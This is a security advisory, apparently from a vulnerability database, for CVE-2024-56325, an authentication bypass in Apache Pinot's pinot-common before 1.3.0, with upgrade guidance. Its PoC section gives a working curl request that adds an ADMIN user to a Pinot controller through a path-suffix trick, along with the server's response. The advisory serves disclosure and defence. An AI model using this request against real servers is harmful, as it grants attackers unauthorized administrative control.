Authentication Bypass Using an Alternate Path or Channel Affecting org.apache.pinot:pinot-common package, versions [,1.3.0)
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- published3 Apr 2025
- disclosed1 Apr 2025
- creditSunflower
Introduced: 1 Apr 2025
NewCVE-2024-56325 (opens in a new tab)How to fix?
Upgrade org.apache.pinot:pinot-common to version 1.3.0 or higher.
Overview
Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel due to improper handling of specific path conditions in the authentication process, where the path does not contain / and contains .. An attacker can gain unauthorized access and perform actions with administrative privileges by crafting a malicious request that bypasses normal authentication checks.
PoC
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.